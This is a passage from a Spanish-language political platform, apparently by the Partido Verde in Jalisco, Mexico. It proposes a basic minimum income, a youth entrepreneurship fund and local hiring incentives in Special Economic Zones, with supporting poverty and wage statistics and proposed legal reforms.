distribuci\u00f3n de la riqueza. \u00c9sta se acumula cada vez m\u00e1s en el capital, y, como cada vez hay m\u00e1s capital y menos trabajo, uno de los temas sobre los cuales versa la discusi\u00f3n de la renta universal b\u00e1sica es sobre la posibilidad de gravar m\u00e1s al capital (anteriormente hab\u00eda m\u00e1s trabajo que capital, por lo que se justificaba un mayor gravamen al trabajo).<\/p>\n<p>El trabajo es un mal y se acepta s\u00f3lo como un medio para obtener ingresos. En la medida en que el trabajo ya no es suficiente para obtener una vida digna (las remuneraciones est\u00e1n, cuando mucho, estancadas en comparaci\u00f3n con el crecimiento de las ganancias del capital), es necesario implementar mecanismos para asegur\u00e1rsela a todas las personas, independientemente de su relaci\u00f3n con el trabajo.<\/p>\n<p>En el caso de M\u00e9xico, no s\u00f3lo sucede que las personas con trabajo formal no ganan, en promedio, suficiente para tener una vida digna; adem\u00e1s, m\u00e1s del 27<a href=\"#_ftn2\" name=\"_ftnref2\"><sup>[2]<\/sup><\/a> por ciento de la poblaci\u00f3n ocupada lo hace en el sector informal, con lo que es menos probable que reciba beneficios relacionados con el trabajo y, por consiguiente, tengan menores probabilidades de acceder a una vida digna.<\/p>\n<p>Al implementar un esquema de renta m\u00ednima b\u00e1sica (la garant\u00eda de que toda persona cuente con un ingreso mensual m\u00ednimo), se obtendr\u00eda para todas las personas un piso m\u00ednimo de ingresos, independientemente de su condici\u00f3n laboral, y se acabar\u00eda, en principio, con la pobreza.<\/p>\n<p>Adicionalmente, la disposici\u00f3n libre de recursos adicionales para todas las personas fomentar\u00eda su libertad de elecci\u00f3n y el funcionamiento de las fuerzas de mercado.<\/p>\n<p>Por otro lado, existe la idea de que con ello se puede evitar el clientelismo electoral por la dependencia de lo que los candidatos dan a cambio del voto, as\u00ed como el eliminarla burocracia que actualmente se ocupa de la operaci\u00f3n de los programas sociales sobre el combate a la pobreza, adem\u00e1s de los altos costos administrativos que conlleva la discriminaci\u00f3n (focalizaci\u00f3n) de beneficiarios elegibles de estos programas.<\/p>\n<p>La Constituci\u00f3n Pol\u00edtica de la Ciudad de M\u00e9xico establece ya el derecho a un m\u00ednimo vital a todas las personas para asegurar una vida digna (art\u00edculos 9, 10, 17).<\/p>\n<p><strong>RESUMEN EJECUTIVO:<\/strong><\/p>\n<p>Los ingresos generados por el trabajo no son suficientes en M\u00e9xico para garantizar una vida digna a todas las personas. El trabajo cada vez participa menos de la riqueza del pa\u00eds.<\/p>\n<p>El gasto en desarrollo social y, particularmente el relacionado con el combate a la pobreza, es considerable, sobre todo en relaci\u00f3n a los magros resultados alcanzados a la fecha.<\/p>\n<p>Se considera que existen recursos suficientes dentro del presupuesto de egresos para financiar una pol\u00edtica de renta m\u00ednima, sin necesidad de aumentar los grav\u00e1menes, pero s\u00ed con adecuaciones presupuestarias fuertes (Desarrollo Social y recursos transferidos a las entidades federativas v\u00eda participaciones y aportaciones), debiendo plantearse un cambio a la Ley de Coordinaci\u00f3n Fiscal.<\/p>\n<p>Ser\u00eda recomendable realizar un estudio de factibilidad y una prueba piloto rigurosa previo al cambio de pol\u00edtica p\u00fablica.<\/p>\n<p><strong>PLANTEAMIENTO DEL PROBLEMA:<\/strong><\/p>\n<p>De acuerdo con informaci\u00f3n publicada por el INEGI<a href=\"#_ftn3\" name=\"_ftnref3\"><sup>[3]<\/sup><\/a>, en M\u00e9xico la proporci\u00f3n que representa la remuneraci\u00f3n de los hogares respecto de la producci\u00f3n total cay\u00f3 del 15.7 por ciento en 2003 al 12.2 por ciento en 2015, es decir, una disminuci\u00f3n de 3.5 puntos porcentuales en 12 a\u00f1os. En Jalisco el porcentaje de la poblaci\u00f3n econ\u00f3micamente activa en el 2015\u00a0 es del 53.3 por ciento, seg\u00fan la p\u00e1gina oficial del INEGI<a href=\"#_ftn4\" name=\"_ftnref4\">[4]<\/a><\/p>\n<p>Seg\u00fan la Encuesta Nacional de Ocupaci\u00f3n y Empleo a 7 de cada 10 jaliscienses que trabajan y que el patr\u00f3n los registra ante el Instituto Mexicano del Seguro Social (IMSS), ganaron tres salarios m\u00ednimos o menos al d\u00eda en el primer trimestre de 2017, es decir 7 mil 203 pesos mensuales o menos y que la cantidad aproxima que requiere un jalisciense es de 240 pesos para cumplir las necesidades b\u00e1sicas.<\/p>\n<p><em>Es importante mencionar que los dos millones 671 mil 224 jaliscienses remunerados, 920 mil 260(34.4%) ganan entre dos y tres salarios m\u00ednimos; 734 mil 063 trabajadores (27.48%) perciben un sueldo de uno a dos salarios m\u00ednimos, es decir, de dos mil 400 a cuatro mil 800 pesos al mes. Finalmente, 175 mil 362 jaliscienses se las tienen que arreglar con 80 pesos diarios o menos al d\u00eda<\/em>.<a href=\"#_ftn5\" name=\"_ftnref5\">[5]<\/a><\/p>\n<p>De all\u00ed que una necesidad apremiante, para los organismos oficiales de la materia laboral, sea incrementar el salario m\u00ednimo, actualmente valorado en 80.04 pesos diarios.<\/p>\n<p>Por otro lado, el salario promedio disminuy\u00f3 19.1 por ciento en t\u00e9rminos reales de 2005 a 2016, a pesar del incremento de los salarios m\u00ednimos (1.1 por ciento en t\u00e9rminos reales) y del n\u00famero de personas trabajadoras. El hecho es que cada vez hay m\u00e1s trabajadores, pero cada vez ganan menos.<\/p>\n<p>De acuerdo con el CONEVAL<a href=\"#_ftn6\" name=\"_ftnref6\"><sup>[6]<\/sup><\/a>, el costo mensual de una canasta b\u00e1sica alimentaria urbana (l\u00ednea de bienestar m\u00ednimo) ascendi\u00f3, en diciembre de 2016, a 1,370 pesos mensuales por persona, mientras que el valor de la canasta no alimentaria urbana (que incluye transporte, educaci\u00f3n, vivienda, entre otros) ascendi\u00f3 a 1,395 pesos mensuales por persona. Con ello, el valor de la canasta alimentaria m\u00e1s no alimentaria urbana (l\u00ednea de bienestar), ascendi\u00f3 a 2,765 pesos por persona al mes.<\/p>\n<p>Si una persona generadora de ingresos promedio ganaba en 2016 cerca de 5 mil pesos al mes y, considerando que en cada hogar hay cuatro personas, dos de las cuales son generadoras de ingresos, se tiene que los 10 mil pesos no alcanzan para cubrir las necesidades alimentarias y no alimentarias de ese hogar (11,060 pesos al mes).<\/p>\n<p>Lo anterior confirma la teor\u00eda respecto de que cada vez el trabajo es menos remunerador y que cada vez sirve menos como medio para distribuir la riqueza de un pa\u00eds.<\/p>\n<p>Desde hace ya varios a\u00f1os, en M\u00e9xico se gasta un monto considerable de recursos en programas de combate a la pobreza que son complicados y tienen altos costos de administraci\u00f3n.<\/p>\n<p>El gasto en desarrollo social (como funci\u00f3n de gobierno) represent\u00f3 en 2016 el 55.3 por ciento del total de gasto programable<a href=\"#_ftn7\" name=\"_ftnref7\"><sup>[7]<\/sup><\/a> o 2.3 billones de pesos. El gasto del Ramo 20 Desarrollo Social ascendi\u00f3 a 106,133.3 millones de pesos (mdp), de los cuales el 98.0 por ciento se destin\u00f3 a <em>Protecci\u00f3n Social<\/em> (Prospera, INAPAM, estancias infantiles, Liconsa, empleo temporal, entre otros, destinados principalmente al combate a la pobreza).<\/p>\n<p>Sin embargo, la pobreza no logra disminuir como se hubiera esperado. El n\u00famero total de personas que vive en condiciones de pobreza sigue aumentando (aunque con relaci\u00f3n al total de la poblaci\u00f3n s\u00ed se ha logrado disminuir).<\/p>\n<p>El n\u00famero total de personas que viven en condiciones de pobreza pas\u00f3 de 52.8 millones de personas en 2010 a 53.4 millones de personas en 2016<a href=\"#_ftn8\" name=\"_ftnref8\"><sup>[8]<\/sup><\/a>.<\/p>\n<p>Por su parte y de acuerdo con el an\u00e1lisis realizado por el CONEVAL<a href=\"#_ftn9\" name=\"_ftnref9\"><sup>[9]<\/sup><\/a>, de los 148 programas vigentes en 2017 del <em>Listado CONEVAL de Programas y Acciones de Desarrollo Social 2017<\/em>, 111 no fueron prioritarios en cuanto a su contribuci\u00f3n a la disminuci\u00f3n de pobreza por ingresos. Sin embargo, de \u00e9stos, cinco fueron prioritarios para mejorar el acceso a la salud, cinco para mejorar la calidad y espacios de la vivienda, dos para combatir el rezago educativo y cuatro para mejorar el acceso a los servicios b\u00e1sicos de vivienda, tres de los cuales son los mismos que contribuyen a mejorar la calidad y espacios de vivienda. As\u00ed, se tiene que, de los 148 programas del listado del CONEVAL, hay en principio, 98 que no fueron prioritarios para el combate a la pobreza ni por la dimensi\u00f3n de ingresos, ni por la dimensi\u00f3n de carencias sociales<a href=\"#_ftn10\" name=\"_ftnref10\"><sup>[10]<\/sup><\/a>. Cabe se\u00f1alar, que una revisi\u00f3n m\u00e1s a detalle de la documentaci\u00f3n del propio CONEVAL hace suponer que de esos 98 no prioritarios, 45 programas s\u00ed contribuyen a la garant\u00eda de algunos de los derechos sociales, lo que hace a 53 programas de desarrollo social (no s\u00f3lo operados por la Sedesol) irrelevantes para el combate a la pobreza o para la garant\u00eda de derechos sociales.<\/p>\n<p>Es evidente la necesidad de revisar y, en su caso, adecuar las pol\u00edticas p\u00fablicas relacionadas, para que en el Pa\u00eds y en el Estado de Jalisco contemos con un ingreso digno, que pueda contribuir a una mayor comodidad y una vida laudable para los jaliscienses, asimismo fortalecer las condiciones de inversi\u00f3n, seguridad, legislaci\u00f3n laboral de nuestro Estado, para que se fortalezcan los empleos<\/p>\n<p>Si se buscara que todas las personas tuvieran al menos un ingreso igual a la canasta b\u00e1sica alimentaria, es decir, que no hubiese personas en situaci\u00f3n de pobreza extrema por este motivo, se tiene que debieran erogarse cerca de 154,097.1 mdp al a\u00f1o (personas en condici\u00f3n de pobreza extrema -9.3 millones- recibiendo el valor de la canasta b\u00e1sica alimenta- 1,369.7 pesos al mes).<\/p>\n<p>Si se buscara que todas las personas tuvieran al menos un ingreso igual a la canasta b\u00e1sica alimentaria m\u00e1s la no alimentaria, es decir, que no hubiese personas en situaci\u00f3n de pobreza por este motivo, se tiene que debieran erogarse cerca de 1,048,393.5 mdp al a\u00f1o (9.3 millones de personas en condici\u00f3n de pobreza extrema recibiendo el valor de ambas canastas &#8211; 2,764.8 pesos al mes\u2013 m\u00e1s 44.1 millones de personas recibiendo el valor de la canasta b\u00e1sica no alimentar\u00eda de -1,395.1 pesos al mes).<\/p>\n<p>Ni siquiera la suma total de presupuesto del <em>Ramo 20 Desarrollo Social<\/em> alcanza para cubrir alguno de los escenarios (106 mil mdp en 2016). Podr\u00edan sustituirse algunos de los programas de desarrollo social (no s\u00f3lo los del Ramo 20) que, de acuerdo con el CONEVAL no contribuyen a mejorar los ingresos o a garantizar alguno de los derechos sociales y cuyo presupuesto aprobado 2017 suma poco m\u00e1s de 272 mil mdp. Sin embargo, es necesario llevar a cabo una revisi\u00f3n a detalle de estos programas, para evitar la desaparici\u00f3n de aqu\u00e9llos que podr\u00edan estar beneficiando a la poblaci\u00f3n. Cabe resaltar, que los programas de desarrollo social generalmente no se determinan por alguna Ley, pero por Reglas de Operaci\u00f3n o Lineamientos, los cuales pueden ser modificados por el Ejecutivo (ver art\u00edculos 10, 17, y 26 de la Ley General de Desarrollo Social.<\/p>\n<p>Para modificar la pol\u00edtica de desarrollo social en el sentido propuesto no ser\u00eda estrictamente necesario modificar la Ley General de Desarrollo Social, ya que \u00e9sta se encuentra redactada en t\u00e9rminos generales. Es posible modificar la pol\u00edtica y los programas de desarrollo social a trav\u00e9s de la Comisi\u00f3n Nacional de Desarrollo Social (ver art\u00edculo 50 de la LGDS) o del Consejo Consultivo de Desarrollo Social (ver art\u00edculo 56 de la LGDS), aunque su definici\u00f3n corresponde a la Secretar\u00eda de Desarrollo Social (ver art\u00edculo 43 de la LGDS) y la propuesta de recursos a destinarse a la Comisi\u00f3n Intersecretarial de Desarrollo Social (ver art\u00edculo 52 de la LGDS).<\/p>\n<p>Como fundamento legal de la propuesta se podr\u00edan mencionar los art\u00edculos 9; 11, fracci\u00f3n II; 14, fracci\u00f3n I; 21; 29 a 32 de la LGDS. Sin embargo, s\u00ed se podr\u00eda reforzar esta propuesta de pol\u00edtica agregando una fracci\u00f3n (X) al art\u00edculo 19 de la LGDS para incluir los programas de distribuci\u00f3n del ingreso o bien agregando especificidad a la fracci\u00f3n III de ese mismo art\u00edculo. Tambi\u00e9n agregando un numeral (5) al art\u00edculo 31 para establecer la entrega de recursos para mejorar los niveles de ingresos de las personas que habitan en las Zonas de Atenci\u00f3n Prioritarias. Ser\u00eda posible tambi\u00e9n adecuar la redacci\u00f3n del art\u00edculo 25 de la LGDS para que el Fondo a que se refiere el mismo se pueda establecer tambi\u00e9n con el objeto de erradicar la pobreza o la pobreza extrema (como fen\u00f3meno econ\u00f3mico).<\/p>\n<p>Para la obtenci\u00f3n de los recursos que sirvan para financiar esta propuesta de pol\u00edtica, se podr\u00eda revisar la Ley de Coordinaci\u00f3n Fiscal a fin de que se destinen recursos que actualmente se entregan a las entidades federativas como parte de la coordinaci\u00f3n fiscal, con el objetivo de erradicar la pobreza o la pobreza extrema. Se podr\u00eda proponer la creaci\u00f3n del Fondo a que se refiere el art\u00edculo 25 de la LGDS (ya modificado el art\u00edculo).<\/p>\n<p>Se podr\u00edan a su vez utilizar algunos de los recursos de participaciones o aportaciones previstos en la Ley de Coordinaci\u00f3n Fiscal para reorientar el gasto, por ejemplo, del Fondo de Aportaciones M\u00faltiples (FAM) de 21 mil mdp y\/o del Fondo General de Participaciones, con 528 mil mdp. El argumento es sencillo, se regresan recursos a las entidades federativas a trav\u00e9s del beneficio directo de las personas que habitan en ellos y la erradicaci\u00f3n de la pobreza extrema.<\/p>\n<p>Sin embargo, ser\u00eda altamente recomendable realizar una valoraci\u00f3n de factibilidad y una prueba piloto rigurosa previo a la modificaci\u00f3n de la pol\u00edtica p\u00fablica (como sucede ya en varios pa\u00edses), preferentemente en conjunto con el Consejo Consultivo.<\/p>\n<p><strong>Impacto presupuestal<\/strong><\/p>\n<ul>\n<li><strong>154,097.1 millones de pesos (mdp) al a\u00f1o<\/strong> (9.3 millones de personas en condici\u00f3n de pobreza extrema recibiendo el valor de la canasta b\u00e1sica alimentaria- 1,369.7 pesos al mes); o,<\/li>\n<li><strong>1,048,393.5 mdp al a\u00f1o<\/strong> (9.3 millones de personas en condici\u00f3n de pobreza extrema recibiendo el valor de ambas canastas &#8211; 2,764.8 pesos al mes\u2013 m\u00e1s 44.1 millones de personas en condici\u00f3n de pobreza recibiendo el valor de la canasta b\u00e1sica no alimentaria -1,395.1 pesos al mes).<\/li>\n<li><strong>En el caso de la prueba piloto, el costo depender\u00e1 del enfoque y del tama\u00f1o de la muestra.<\/strong><\/li>\n<li>El costo operativo puede ser absorbido por la infinidad de programas en materia de desarrollo social que existen y que, en su caso, sean suprimidos o sustituidos. Recordar que para diversos programas se establece actualmente un l\u00edmite, generalmente en sus reglas de operaci\u00f3n (por ejemplo, en PROSPERA es del 4.61 por ciento de su presupuesto total asignado, ver Reglas de Operaci\u00f3n, numeral 5.3.3, en el Diario Oficial de la Federaci\u00f3n del 29 de diciembre de 2016).<\/li>\n<\/ul>\n<p><strong>EN EL PARTIDO VERDE, PROPONEMOS PARA QUE A NIVEL FEDERAL SE REALICEN LAS SIGUIENTES ACCIONES:<\/strong><\/p>\n<ul>\n<li>Revisar la pol\u00edtica de desarrollo social, particularmente la de combate a la pobreza y valorar sus resultados.<\/li>\n<li>Analizar la posibilidad de modificar o intercambiar ciertas pol\u00edticas de desarrollo social por un esquema de renta m\u00ednima b\u00e1sica.\n<ul>\n<li>Llevar a cabo un estudio de factibilidad.<\/li>\n<li>Realizar una prueba piloto rigurosa y controlada, de tal manera que se puedan valorar todos los aspectos necesarios (carencias, patrones de consumo y de inversi\u00f3n, por ejemplo).<\/li>\n<\/ul>\n<\/li>\n<li>En caso de que tengan \u00e9xito los estudios y pruebas, promover las siguientes modificaciones:<\/li>\n<li>Iniciativa de Acuerdo Legislativo enviado al Congreso de la Uni\u00f3n para reformar la <strong>Ley General de Desarrollo Social<\/strong>\n<ul>\n<li>Art\u00edculos 19, para incorporar los programas de distribuci\u00f3n del ingreso o financiamiento de una vida digna;<\/li>\n<li>Art\u00edculo 31, para establecer la entrega de recursos para mejorar los niveles de ingresos (o asegurar una vida digna) de las personas que habitan en las Zonas de Atenci\u00f3n Prioritaria;<\/li>\n<li>Art\u00edculo 25 para adecuar el objeto del Fondo a que se refiere el mismo (incluir el financiamiento de una vida digna).<\/li>\n<\/ul>\n<\/li>\n<li>Iniciativa de Acuerdo Legislativo enviado al Congreso de la Uni\u00f3n para reforma la <strong>Ley de Coordinaci\u00f3n Fiscal<\/strong><\/li>\n<\/ul>\n<ul>\n<li style=\"list-style-type: none;\">\n<ul>\n<li style=\"list-style-type: none;\">\n<ul>\n<li>Art\u00edculos 2 y 6 para cambiar la integraci\u00f3n y f\u00f3rmulas de distribuci\u00f3n del Fondo General de Participaciones;<\/li>\n<li>Art\u00edculos 25, 39 a 41 y 52 para\n<ul>\n<li>Cambiar de nombre al FAM, incrementar el monto destinado a este Fondo (los recursos provendr\u00edan del Fondo General de Participaciones modificado arriba) y ajustar su objeto y destino;<\/li>\n<li>Incluir un nuevo Fondo, relacionado con el art\u00edculo 25 de la LGDS, destinado al combate a la pobreza y pobreza extrema a trav\u00e9s de la entrega de recursos de manera directa a las personas que as\u00ed lo requieran, ambos para el financiamiento del derecho a una vida digna de todas las personas.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p><strong>EN EL PARTIDO VERDE, PROPONEMOS PARA QUE A NIVEL LOCAL SE REALICEN LAS SIGUIENTES:<\/strong><\/p>\n<ul>\n<li>Exhortar a la Comisi\u00f3n Nacional de Salarios M\u00ednimos (Conasami) a efecto de impulsar el aumento salarial\u00a0 de los jaliscienses, para un ingreso digno.<\/li>\n<li>Reformar la Ley de Hacienda Estado de Jalisco, a fin de otorgar incentivos fiscales a los patrones, con el prop\u00f3sito de impulsar un salario digno a los trabajadores.<\/li>\n<li>Modificar diversos art\u00edculos del Presupuesto de Egresos del Estado para otorgar apoyos a los ciudadanos y est\u00e9n en condiciones de obtener un ingreso suficiente.<\/li>\n<li>Reformar la Ley de Desarrollo social para el Estado de Jalisco<\/li>\n<\/ul>\n<p><strong>T\u00cdTULO: GENERA TU PROPIO EMPLEO<\/strong><\/p>\n<p><strong>VISI\u00d3N:<\/strong> Disminuir el desempleo y mejorar las condiciones econ\u00f3micas y sociales de los j\u00f3venes menores a 29 a\u00f1os con actitud emprendedora.<\/p>\n<p><strong>RESUMEN EJECUTIVO: <\/strong><\/p>\n<p>La Constituci\u00f3n Pol\u00edtica de los Estados Unidos Mexicanos, reconoce el derecho al trabajo digno y socialmente \u00fatil, as\u00ed como la promoci\u00f3n para la creaci\u00f3n de empleos y la organizaci\u00f3n social del trabajo (art\u00edculo 123, primer p\u00e1rrafo de la Constituci\u00f3n Pol\u00edtica de los Estados Unidos Mexicanos).<\/p>\n<p>Las personas j\u00f3venes tienen derecho a un desarrollo integral, que incluye el desarrollo humano, social, econ\u00f3mico, pol\u00edtico y cultural, y a ser consideradas como sujetos prioritarios. Sin embargo, de acuerdo con el Diagn\u00f3stico de la Situaci\u00f3n de los J\u00f3venes en M\u00e9xico, el principal problema que enfrenta la juventud en M\u00e9xico es que se incorpora al desarrollo del pa\u00eds en condiciones desfavorables, lo que se debe, entre otras causas, a dificultades para la inserci\u00f3n en el mercado laboral y a una deficiente formaci\u00f3n y desarrollo de habilidades que permitan el desarrollo personal.<\/p>\n<p>Es por esto y con la finalidad de coadyuvar a un aprovechamiento del bono demogr\u00e1fico a favor del crecimiento econ\u00f3mico que en el Partido Verde proponemos reformar la Ley de Coordinaci\u00f3n Fiscal donde se busca crear el Fondo de Fomento a las Incubadoras de Bienes y Servicios para los J\u00f3venes Empresarios, dando un mayor impulso a los planes y programas que permitan el desarrollo de la juventud, as\u00ed como a la generaci\u00f3n de empleos.<\/p>\n<p><strong>PLANTEAMIENTO DEL PROBLEMA:<\/strong><\/p>\n<p>La falta de competitividad y las ineficiencias han limitado el crecimiento econ\u00f3mico, haciendo que la creaci\u00f3n de empresas y las inversiones en M\u00e9xico sean incipientes, lo cual provoca los millones de desempleados, sin garantizar una generaci\u00f3n de empleos suficientes para la oferta laboral.<\/p>\n<p>De acuerdo con la Encuesta Intercensal 2015 (INEGI, 2016) se estim\u00f3 para ese a\u00f1o un total de 19.9 millones de j\u00f3venes entre los 20 y 29 a\u00f1os de edad\u00a0 y, con datos de la Encuesta Nacional de Ocupaci\u00f3n y Empleo (ENOE), al segundo trimestre de 2017, en el pa\u00eds existen poco m\u00e1s de 770 mil j\u00f3venes sin empleo abarcando el mismo rango de edad antes se\u00f1alado.<\/p>\n<p>De igual forma, en el pa\u00eds se han puesto en marcha diversos programas en apoyo a la juventud con el objetivo de impulsar el desarrollo de dicho sector de la poblaci\u00f3n. Un ejemplo de ello es el Programa Cr\u00e9dito Joven, cuyo objetivo es fomentar la inclusi\u00f3n financiera de los j\u00f3venes mediante productos y servicios financieros con tasas preferenciales. A trav\u00e9s de dicho programa se otorgan cr\u00e9ditos a personas f\u00edsicas sin historial crediticio para proyectos emprendedores por montos que van desde los 50 mil hasta los 2.5 millones pesos. Sin embargo, a pesar de que este programa constituye un sistema de facilidades bancarias para personas j\u00f3venes, as\u00ed como una modalidad para fomentar el auto empleo, la innovaci\u00f3n y el emprendimiento, los apoyos a los j\u00f3venes son insuficientes, en la actualidad millones de ellos no consiguen empleo.<\/p>\n<p>Es por esto que se pretende reforzar las acciones llevadas a cabo en esta materia mediante la creaci\u00f3n de un Fondo de Fomento a las incubadoras de Bienes y Servicios.<\/p>\n<p><strong>JUSTIFICACI\u00d3N<\/strong><\/p>\n<p>Se prev\u00e9 la creaci\u00f3n de un fondo que alcance un monto equivalente al 0.25% de los ingresos generados por concepto de Impuesto Especial sobre Producci\u00f3n y Servicios (IEPS). Esto significar\u00eda que, con datos aprobados y publicados en la Ley de Ingresos de la Federaci\u00f3n para el a\u00f1o 2018 , el monto ser\u00eda de alrededor de 1,054.4 millones de pesos y, considerando un monto para los vales de 50 mil pesos, se tiene que se estar\u00edan beneficiando m\u00e1s de 21 mil j\u00f3venes de la poblaci\u00f3n objetivo cada a\u00f1o.<\/p>\n<p>Deben para ello considerarse los montos que actualmente se destinan para los j\u00f3venes cada a\u00f1o. En el Presupuesto de Egresos de la Federaci\u00f3n 2018, aprobado por la C\u00e1mara de Diputados, (espec\u00edficamente en el anexo 17), se tiene que existen erogaciones para el desarrollo de j\u00f3venes por la cantidad de poco m\u00e1s de 244 mil 587 millones de pesos, dividido en diferentes ramos como Defensa Nacional, Agricultura, Educaci\u00f3n, entre otros. Lo que se busca con esto es lograr una reasignaci\u00f3n de los recursos que se destinan a los j\u00f3venes y canalizarlos a este nuevo fondo que habr\u00e1 de construirse (ejemplo de estos pueden ser el programa de Apoyo a Peque\u00f1os Productores y Fondo de Nacional del Emprendedor).<\/p>\n<p><strong>EN EL PARTIDO VERDE, PROPONEMOS PARA QUE SE REALICEN LAS SIGUIENTES ACCIONES:<\/strong><\/p>\n<ul>\n<li>Modificar los art\u00edculos 25 y 53 de la Ley de Coordinaci\u00f3n Fiscal para que se incluya el Fondo de Apoyos Econ\u00f3micos para J\u00f3venes Egresados, que beneficiar\u00e1 a j\u00f3venes reci\u00e9n egresados en un lapso no mayor a 5 a\u00f1os a la fecha de solicitud del recurso y que \u00e9stos sean destinados al impulso o establecimiento de actividades relacionadas o afines a la profesi\u00f3n determinada en la c\u00e9dula profesional del solicitante y adem\u00e1s se garantice que las actividades a realizarse con cargo al fondo se realicen en el lugar donde haya constituido su domicilio y acreditado una residencia de al menos 7 a\u00f1os.<\/li>\n<li>Crear un programa de apoyo con el fondo que se propuso crear con el 25% de los ingresos generados por concepto de Impuesto Especial sobre Producci\u00f3n y Servicios (IEPS). para apoyar a las empresas con incentivos fiscales a los que contraten a j\u00f3venes reci\u00e9n egresados,<\/li>\n<\/ul>\n<p><strong>T\u00cdTULO: <\/strong><strong>M\u00c1S EMPLEOS PARA EL DESARROLLO REGIONAL<\/strong><\/p>\n<p><strong>VISI\u00d3N: <\/strong>Mayores oportunidades de empleo para los habitantes pertenecientes a las Zonas Econ\u00f3micas Especiales.<\/p>\n<p><strong>RESUMEN EJECUTIVO:<\/strong><\/p>\n<p>En 2016, la inversi\u00f3n extranjera directa (IED) alcanz\u00f3 a nivel mundial 1.75 billones de d\u00f3lares, representando una ca\u00edda del 2 por ciento respecto de 2015 y un nivel muy por debajo del observado en 2007<a href=\"#_ftn11\" name=\"_ftnref11\"><sup>[11]<\/sup><\/a>. De entre las principales econom\u00edas receptoras de IED, M\u00e9xico se posicion\u00f3 en el lugar 16 en 2016 (con 27 mil millones de d\u00f3lares -mmdd), despu\u00e9s de haber ocupado el lugar 13 en 2015 (con 33 mmdd).<\/p>\n<p>En la b\u00fasqueda de propiciar una mejor dispersi\u00f3n de la inversi\u00f3n y de propiciar un desarrollo econ\u00f3mico m\u00e1s equitativo, el 1 de junio de 2016 se public\u00f3 en el Diario Oficial de la Federaci\u00f3n (DOF) la Ley Federal de Zonas Econ\u00f3micas Especiales, que se cre\u00f3 con el objeto de regular la planeaci\u00f3n, el establecimiento y la operaci\u00f3n de Zonas Econ\u00f3micas Especiales (ZEE) para impulsar el crecimiento econ\u00f3mico sostenible que, entre otros fines, reduzca la pobreza, permita la provisi\u00f3n de servicios b\u00e1sicos y expanda las oportunidades para vidas saludables y productivas, en las regiones del pa\u00eds que tengan mayores rezagos en desarrollo social, a trav\u00e9s del fomento de la inversi\u00f3n, la productividad, la competitividad, el empleo y una mejor distribuci\u00f3n del ingreso entre la poblaci\u00f3n<a href=\"#_ftn12\" name=\"_ftnref12\"><sup>[12]<\/sup><\/a>.<\/p>\n<p>Las ZEE se definen en la Ley como \u00e1reas geogr\u00e1ficas del territorio nacional, sujetas a un r\u00e9gimen especial, en las cuales se podr\u00e1n realizar diversas actividades. Las ZEE se establecen con el objeto de impulsar, a trav\u00e9s de la inversi\u00f3n productiva, el crecimiento econ\u00f3mico sostenible, sustentable y equilibrado de las regiones del pa\u00eds que tengan mayores rezagos en desarrollo social y que cumplan con ciertos requisitos<a href=\"#_ftn13\" name=\"_ftnref13\"><sup>[13]<\/sup><\/a>.<\/p>\n<p>Las ZEE se crean a partir de la emisi\u00f3n de una declaratoria por parte del Ejecutivo Federal, misma que se publica en el DOF una vez que se cuenta con un dictamen emitido por la Secretar\u00eda de Hacienda y Cr\u00e9dito P\u00fablico (SHCP).<\/p>\n<p>Si bien tanto en la Ley como en los decretos de creaci\u00f3n de cada una de las ZEE de busca la promoci\u00f3n del empleo de calidad, es posible que las ZEE generen movimientos migratorios hacia las mismas que resulten en la contrataci\u00f3n de personas no originarias de la zona, pero de otras zonas del pa\u00eds e, incluso, extranjeras.<\/p>\n<p>El estado de Jalisco cuenta con zonas de pobreza extrema como lo son los municipios de Santa Mar\u00eda del Oro, Chimaltitan, y Jilotlan de los dolores, sin embargo estos municipios cuentan con una gran variedad de recursos los cuales pueden ser aprovechados si se realiza una inversi\u00f3n para el aprovechamiento de estas tierras.\u00a0 Por tanto, estos municipios se pueden considerar como ZEE en los cuales se podr\u00eda\u00a0 impulsar el crecimiento econ\u00f3mico sostenible que, entre otros fines, reduzca la pobreza, permita la provisi\u00f3n de servicios b\u00e1sicos y expanda las oportunidades para vidas saludables y productivas\u00a0 en las regiones del estado que tengan mayores rezagos en desarrollo social como las antes mencionas, a trav\u00e9s del fomento de la inversi\u00f3n, la productividad, la competitividad, el empleo y una mejor distribuci\u00f3n del ingreso entre la poblaci\u00f3n. Con ello el estado buscara reducir de manera gradual el alto \u00edndice de pobreza y desempleo que se tienen actualmente en estas zonas del estado de Jalisco.<\/p>\n<p>Lo que pretende el Partido Verde es que se aproveche la coyuntura de las ZEE para fomentar el empleo de las personas que habitan en las zonas que las conforman, en la idea de favorecer su empleo y no el de personas for\u00e1neas, lo que contribuir\u00e1 a la generaci\u00f3n de m\u00e1s y mejores oportunidades de desarrollo para las personas locales.<\/p>\n<p><strong>PLANTEAMIENTO DEL PROBLEMA:<\/strong><\/p>\n<p>Las ZEE se enfrentan a distintos problemas. La decisi\u00f3n de una empresa para invertir no s\u00f3lo toma en cuenta los aspectos comunes del modelo planteado por el gobierno (facilidades fiscales y de infraestructura), pero tambi\u00e9n considera toda una serie de caracter\u00edsticas como el marco regulatorio, el tipo de capital humano disponible y los requisitos burocr\u00e1ticos para establecerse, desarrollarse y poco a poco expandirse. Dentro de los problemas se detecta el marco regulatorio (principalmente el cumplimiento de las NOMS y NMX) y el capital humano radicado en las ZEE.<\/p>\n<p>El establecimiento de las ZEE da incentivos en t\u00e9rminos de desarrollo de capital humano. Se prev\u00e9 un incentivo fiscal para la capacitaci\u00f3n (deducci\u00f3n del 25 por ciento del costo de la misma<a href=\"#_ftn14\" name=\"_ftnref14\"><sup>[14]<\/sup><\/a>). Sin embargo, no se detecta en el marco normativo aplicable alg\u00fan ordenamiento o incentivo espec\u00edfico para la contrataci\u00f3n de personal radicado en las propias ZEE lo que permita a los habitantes de las mismas mejorar sus capacidades y oportunidades.<\/p>\n<p>El Partido Verde busca aprovechar la coyuntura de las ZEE para incentivar el empleo formal de las personas que habitan las regiones en las cuales se establezcan las mismas, con ello promover su capacitaci\u00f3n y contribuir as\u00ed a un desarrollo econ\u00f3mico y social m\u00e1s equitativo en el pa\u00eds.<\/p>\n<p><strong>IMPACTO PRESUPUESTARIO PARA CUBRIR LA CAPACITACI\u00d3N DE LOS TRABAJADORES ORIGINARIOS DE LAS ZONAS ECON\u00d3MICAS ESPECIALES<\/strong><\/p>\n<p>Uno de los principales objetivos de la creaci\u00f3n de las Zonas Econ\u00f3micas Especiales (ZEE) en M\u00e9xico es que los habitantes tengan las mismas posibilidades de desarrollo y bienestar que el resto del estado, con la finalidad de cerrar las 